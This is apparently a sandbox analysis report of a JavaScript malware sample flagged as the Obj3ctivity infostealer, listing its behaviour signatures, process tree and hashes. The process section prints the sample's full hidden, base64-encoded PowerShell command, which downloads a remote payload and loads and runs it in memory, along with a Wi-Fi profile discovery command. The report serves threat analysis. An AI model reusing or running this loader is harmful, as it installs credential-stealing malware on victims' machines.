Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251231-en
  • resource tags

    arch:x64arch:x86image:win11-20251231-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08/01/2026, 07:13

General

  • Target
    Tour_Group.js
  • Size 4.5MB
  • Sample260108-h2chqaby5d
  • SHA256 ec75f284102e3827f09cf9d4c646620f707657a977581064a0cea7a67d3e4896
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Obj3ctivity Stage1 1 IoCs

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Obj3ctivity family
  • Obj3ctivity, PXRECVOWEIWOEI

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Tour_Group.js
    1⤵
      PID:4624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABjAGwAbwBzAGUAaABhAG4AZABlAGQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwBsAG8AcwBlAGgAYQBuAGQAZQBkAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQA7ACQAYwBsAG8AcwBlAGgAYQBuAGQAZQBkAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAYwBsAG8AcwBlAGgAYQBuAGQAZQBkAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAtAEwAYQBuAGcAdQBhAGcAZQAiACwAIAAiAGUAbgAtAFUAUwAsAGUAbgA7AHEAPQAwAC4AOQAiACkAOwAkAHQAaAByAG8AbQBiAG8AcwBpAG4AIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAGIAagB0AHoAcQBwADQAcQAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcANgA3ADQANQA1ADAANAAwAC8AbwBwAHQAaQBtAGkAegBlAGQAXwBNAFMASQBfAGwAcABzAGQAOQBwAC4AagBwAGcAJwA7ACQAbQBhAG4AdQByAGUAbQBlAG4AdAAgAD0AIAAkAGMAbABvAHMAZQBoAGEAbgBkAGUAZAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB0AGgAcgBvAG0AYgBvAHMAaQBuACkAOwAkAGgAbwBzAHAAaQBjAGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbQBhAG4AdQByAGUAbQBlAG4AdAApADsAaQBmACAAKAAkAGgAbwBzAHAAaQBjAGUAcwAgAC0AbQBhAHQAYwBoACAAJwBCAGEAcwBlAFMAdABhAHIAdAAtACgALgAqAD8AKQAtAEIAYQBzAGUARQBuAGQAJwApACAAewAgACAAJABwAG8AcwB0AGwAdQBkAGUAcwAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0AOwAgACAAJABkAGkAcwB0AGUAbQBvAG4AbwB1AHMAIAA9ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcABvAHMAdABsAHUAZABlAHMAKQApADsAIAAgACQAYQByAGcAcwBCAGEAcwBlADYANAAgAD0AIAAnAEoAdwBBAHcAQQBHAGcAQQBTAEEAQgBrAEEAQQBvAEEARABRAEIAMQBBAEgATQBBAFIAdwBCAGkAQQBHAGsAQQBVAGcAQQB6AEEARQB3AEEATQBnAEIAVwBBAEUAYwBBAFcAZwBCADEAQQBFAGsAQQBhAGcAQgBqAEEASABVAEEAUQBRAEIANgBBAEUANABBAE0AZwBCAGoAQQBHAG8AQQBXAGcAQgByAEEARgBvAEEAYQBnAEIAYQBBAEcAawBBAFMAZwBCADYAQQBFADAAQQBOAFEAQgBWAEEARwAwAEEAVABnAEEAMQBBAEcAcwBBAFIAQQBCAE8AQQBHADAAQQBaAEEAQgBFAEEARQA0AEEAYQB3AEIAYQBBAEUAUQBBAFQAdwBBAHgAQQBGAFUAQQBWAEEAQgBOAEEARABJAEEAUgBRAEEAeQBBAEUAMABBAGIAUQBCAGsAQQBIAG8AQQBUAFEAQgAwAEEARQBrAEEAVgB3AEIAawBBAEgAYwBBAE8AUQBCADUAQQBFAHcAQQBOAGcAQgBOAEEARQBnAEEAWQB3AEEAdwBBAEYASQBBAFMAQQBCAGgAQQBDAGMAQQBMAEEAQQBuAEEAQwBjAEEATABBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAFUAQQBjAHcAQgBsAEEASABJAEEAYwB3AEIAYwBBAEYAQQBBAGQAUQBCAGkAQQBHAHcAQQBhAFEAQgBqAEEARgB3AEEAUgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEASABNAEEAWABBAEEAbgBBAEMAdwBBAEoAdwBCAE8AQQBHAEUAQQBiAFEAQgBsAEEARgA4AEEAUgBnAEIAcABBAEcAdwBBAFoAUQBBAG4AQQBDAHcAQQBKAHcAQgBOAEEASABNAEEAWQBnAEIAMQBBAEcAawBBAGIAQQBCAGsAQQBDAGMAQQBMAEEAQQBuAEEAQwBjAEEATABBAEEAbgBBAEUAMABBAGMAdwBCAGkAQQBIAFUAQQBhAFEAQgBzAEEARwBRAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBaAEEAQgB1AEEAQwA0AEEAWgBBAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEkAQQBaAEEAQgBoAEEASABBAEEAYwBBAEEAdQBBAEcATQBBAGIAdwBCAHQAQQBDADgAQQBZAFEAQgAwAEEASABRAEEAWQBRAEIAagBBAEcAZwBBAGIAUQBCAGwAQQBHADQAQQBkAEEAQgB6AEEAQwA4AEEATQBRAEEAeABBAEQAZwBBAE0AUQBBAHoAQQBEAGMAQQBPAEEAQQA1AEEARABBAEEATQBnAEEAeABBAEQARQBBAE4AZwBBAHcAQQBEAEUAQQBOAGcAQQB5AEEARABJAEEATQBnAEEAdgBBAEQARQBBAE4AQQBBAHoAQQBEAGcAQQBOAGcAQQA0AEEARABJAEEATgBBAEEAeQBBAEQAQQBBAE4AQQBBADMAQQBEAFEAQQBPAEEAQQB4AEEARABBAEEATgBRAEEAeQBBAEQARQBBAEwAdwBCAHoAQQBHAGcAQQBhAFEAQgB0AEEAQwA0AEEAZABnAEIAaQBBAEgATQBBAFAAdwBCAGwAQQBIAGcAQQBQAFEAQQAyAEEARABrAEEATQBRAEEAMwBBAEcATQBBAE4AQQBCAGwAQQBHAEUAQQBKAGcAQgBwAEEASABNAEEAUABRAEEAMgBBAEQAawBBAE0AUQBBADIAQQBEAGMAQQBNAHcAQQAyAEEARwBFAEEASgBnAEIAbwBBAEcAMABBAFAAUQBBADUAQQBHAEUAQQBZAGcAQQAyAEEARwBZAEEATQBRAEEAeQBBAEcAVQBBAFoAZwBBAHgAQQBHAFkAQQBOAEEAQgBsAEEARABnAEEATQB3AEEAegBBAEQAYwBBAE4AQQBBADIAQQBEAGMAQQBaAFEAQQB5AEEARABnAEEATQBBAEIAaQBBAEQAYwBBAFkAdwBCAGgAQQBHAE0AQQBPAFEAQQB6AEEARwBZAEEATgBRAEEAMwBBAEQAYwBBAE0AZwBBAHkAQQBEAEUAQQBaAEEAQQB6AEEARwBZAEEAWgBnAEEAdwBBAEQAZwBBAE0AUQBBADUAQQBHAFUAQQBNAGcAQgBsAEEARwBJAEEATQB3AEEAMABBAEQAVQBBAE4AQQBCAG0AQQBEAEkAQQBOAGcAQQB6AEEARABFAEEATQB3AEEAeQBBAEQATQBBAE4AUQBBADEAQQBDAFkAQQBKAHcAQQBzAEEAQwBjAEEAUQB3AEEANgBBAEYAdwBBAFYAUQBCAHoAQQBHAFUAQQBjAGcAQgB6AEEARgB3AEEAVQBBAEIAMQBBAEcASQBBAGIAQQBCAHAAQQBHAE0AQQBYAEEAQgBFAEEARwA4AEEAZAB3AEIAdQBBAEcAdwBBAGIAdwBCAGgAQQBHAFEAQQBjAHcAQgBjAEEAQwBjAEEATABBAEEAbgBBAEUANABBAFkAUQBCAHQAQQBHAFUAQQBYAHcAQgBHAEEARwBrAEEAYgBBAEIAbABBAEMAYwBBAEwAQQBBAG4AQQBHAG8AQQBjAHcAQQBuAEEAQwB3AEEASgB3AEEAeABBAEMAYwBBAEwAQQBBAG4AQQBDAGMAQQBMAEEAQQBuAEEARgBRAEEAWQBRAEIAegBBAEcAcwBBAFgAdwBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQwBjAEEATABBAEEAbgBBAEQAQQBBAEoAdwBBAHMAQQBDAGMAQQBKAHcAQQBzAEEAQwBjAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAD0AJwA7ACAAIAAkAGEAcgBnAHMAUwB0AHIAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQByAGcAcwBCAGEAcwBlADYANAApACkAOwAgACAAJABhAHIAZwBzACAAPQAgACQAYQByAGcAcwBTAHQAcgBpAG4AZwAgAC0AcwBwAGwAaQB0ACAAJwAsACcAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAFQAcgBpAG0AKAAnACcAJwAiACcAIAApACAAfQA7ACAAIABbAFMAbwBmAHQAdwBhAHIAZQAuAFAAcgBvAGcAcgBhAG0AXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAIgBNAGEAaQBuACIAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAGEAcgBnAHMAKQA7AH0A')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5284
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
        2⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:4892
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:2848
          • C:\Windows\SysWOW64\chcp.com
            chcp 65001
            4⤵
            • System Location Discovery: System Language Discovery
            PID:688
          • C:\Windows\SysWOW64\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:244
          • C:\Windows\SysWOW64\findstr.exe
            findstr All
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2348
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3120

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_n1tqkfve.vtr.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n1tqkfve.vtr.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/4892-16-0x0000000005250000-0x00000000052B6000-memory.dmp

          memory/4892-56-0x0000000007560000-0x0000000007A8C000-memory.dmp

          memory/4892-41-0x0000000005AA0000-0x0000000005B16000-memory.dmp

          memory/4892-38-0x0000000006720000-0x00000000067B2000-memory.dmp

          memory/4892-33-0x0000000006A80000-0x0000000007026000-memory.dmp

          memory/4892-18-0x0000000006300000-0x00000000064C2000-memory.dmp

          memory/4892-12-0x0000000000400000-0x00000000004E6000-memory.dmp

          memory/4892-17-0x0000000005E70000-0x0000000005E82000-memory.dmp

          memory/5284-9-0x00000259714A0000-0x0000025971F62000-memory.dmp

          memory/5284-15-0x00000259714A0000-0x0000025971F62000-memory.dmp

          memory/5284-11-0x0000025972780000-0x00000259727F0000-memory.dmp

          memory/5284-10-0x00000259714A0000-0x0000025971F62000-memory.dmp

          memory/5284-0-0x0000025971C6A000-0x0000025971C6B000-memory.dmp

          memory/5284-8-0x00000259714A0000-0x0000025971F62000-memory.dmp

          memory/5284-7-0x00000259723D0000-0x00000259723F2000-memory.dmp